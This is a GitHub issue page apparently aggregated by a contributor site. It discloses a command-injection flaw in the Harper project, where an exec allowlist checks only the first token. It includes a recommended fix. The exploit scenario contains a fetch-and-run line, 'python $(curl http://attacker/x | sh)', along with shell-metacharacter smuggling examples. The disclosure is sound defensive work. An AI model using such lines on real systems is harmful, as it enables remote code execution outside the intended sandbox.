HarperFast / HarperFast/harper
[security] ALLOWED_COMMANDS allowlist for exec is bypassable via shell metacharacters
- Dominant language
- JavaScript
- Stars
- 89
- Forks
- 10
- Avg merge
- 2d 6h
- Merged PRs (30d)
- 200
Description
**Severity:** MEDIUM · **Category:** `command-injection` · **CWE-78**
**Location:** `security/jsLoader.ts:1046` in `createSpawn (returned spawn wrapper)`
## Impact
A component/application that is only supposed to be able to run a single allowlisted binary (e.g. `python`) can run any command on the host via command substitution/piping, defeating the sandbox the allowlist is meant to enforce.
## Details
The allowlist gate `ALLOWED_COMMANDS.has(command.split(' ')[0])` only inspects the first whitespace token of `command`, but `child_processConstrained.exec = createSpawn(child_process.exec)` passes the entire string to a shell (/bin/sh -c). An allowlisted prefix followed by a shell metacharacter (`ls $(...)`, `ls `...``, `ls |evil`) runs arbitrary, non-allowlisted commands.
## Exploit scenario
Operator allowlists `python` via APPLICATIONS_ALLOWEDSPAWNCOMMANDS. A component calls require('child_process').exec('python $(curl http://attacker/x | sh)'). split(' ')[0] === 'python' passes the gate, and the shell executes the command substitution, running attacker-controlled code outside the allowlist.
## Preconditions
- APPLICATIONS_ALLOWEDSPAWNCOMMANDS is configured with at least one command (default is empty, in which case exec is fully blocked)
- A loaded component/application calls the constrained child_process.exec
## Recommended fix
Do not gate a shell-interpreting API (exec/execSync) with a token prefix check. Either forbid exec entirely and only expose execFile/spawn with shell:false, or validate the full argv and reject any shell metacharacters; enforce the allowlist against the actually-resolved executable, not the first space-delimited token.
---
Found by an automated multi-agent security review (Claude Security) against `origin/main` @ `2615b092b`, confirmed by a three-lens verification panel. Line numbers are as of that commit. No code was executed; derived from source review, so validate before remediation.
Contributor guide
Research direction
Start in security/jsLoader.ts around line 1046 and trace createSpawn for the constrained child_process.exec wrapper. Compare how exec handles shell syntax with the allowlist check, then confirm that the chosen remediation prevents allowlisted commands from invoking shell metacharacters or non-allowlisted executables.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, nodejs
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 45/100